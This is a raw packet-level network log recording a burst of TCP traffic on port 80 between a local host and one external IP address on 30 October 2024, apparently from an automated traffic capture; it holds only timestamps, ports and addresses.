Oct 30, 2024 04:35:25.191422939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191438913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191466093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191535950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191551924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191565990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191581964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191633940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191658020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191658020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191688061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191695929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191710949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191772938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191813946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191845894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191860914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.191869974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.191960096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.232531071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.232547998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.232562065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.232589960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.232624054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235236883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235261917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235276937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235327005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235358953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235402107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235409975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235424995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235486984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235517025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235532045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235548019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235564947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235570908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235610962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235624075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.235646963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.235730886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.236119032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236157894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236175060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236195087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.236242056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236257076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236269951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.236270905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236288071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236365080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.236378908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236393929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236407995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.236443996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.236496925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.237134933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237149954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237164974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237215996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.237298012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.237394094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237457037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.237622976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237694979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.237788916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237806082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.237857103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.238346100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238380909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238399982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238414049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238424063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.238429070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238445044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.238528013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.276607037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276648045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276662111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276693106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.276699066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276716948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276732922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.276806116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.276988983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277034998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277057886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277138948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277179003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277195930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277226925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277240992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277250051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277259111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277275085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277349949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277642965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277688980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277704954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277714014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277798891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277822018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277846098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277861118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277875900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277890921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.277899027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.277960062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.278351068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.278383017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.278398991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.278424025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.278449059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.278465033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.278512001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.278594971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.310173988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310199022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310214043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310229063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310245037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310329914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.310360909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310376883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310391903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310422897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.310450077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310465097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310481071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310487032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.310525894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310539961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.310544968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.310599089 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.351011992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.351039886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.351085901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.351113081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.351154089 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.353768110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.353826046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.353842020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.353847027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.353874922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.353889942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.353895903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.353946924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.353984118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354023933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354039907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354072094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354073048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354088068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354120970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354145050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354362011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354377031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354392052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354420900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354439974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354446888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354461908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354491949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354526997 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354835987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354851007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354865074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354896069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354918957 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354923964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.354934931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.354974985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355010986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355262041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355330944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355351925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355391979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355407000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355412006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355422974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355439901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355467081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355467081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355513096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355772972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355827093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355865955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355881929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355917931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355953932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.355956078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355972052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.355988026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356007099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.356033087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.356081963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356096983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356111050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356126070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356138945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.356198072 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.356795073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.356858015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407176018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407212019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407227993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407283068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407294989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407310963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407320976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407336950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407377958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407387018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407452106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407466888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407484055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407499075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407500029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407515049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407519102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407531977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407540083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407582998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407589912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407644033 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407694101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407708883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407723904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407737970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407738924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407756090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407763958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407771111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407787085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407845974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407866955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407916069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407949924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407964945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407982111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.407990932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.407998085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.408014059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.408030033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.408051014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.408139944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429620981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429658890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429682016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429687977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429698944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429719925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429745913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429764032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429778099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429794073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429802895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429856062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429866076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429881096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429903030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.429903984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429943085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.429980040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.430026054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.469806910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.469832897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.469852924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.469923973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.470016003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472332001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472371101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472388029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472413063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472449064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472465038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472501993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472580910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472604990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472670078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472707987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472723007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472748041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472763062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472801924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472877979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472887039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472929955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472938061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.472945929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.472996950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473117113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473154068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473179102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473180056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473196983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473268986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473447084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473483086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473500013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473529100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473558903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473604918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473613024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473629951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.473704100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.473999023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474061966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474076033 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474090099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474107027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474163055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474363089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474415064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474437952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474441051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474458933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474519014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474555969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474572897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474590063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474606037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474611044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474659920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474675894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.474690914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.474781990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.475301981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.475374937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.475399971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.475400925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.475419044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.475433111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.475500107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.514431953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.514480114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.514522076 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.514537096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.514553070 CET	80	49983	185.215.113.16	192.168.2.7
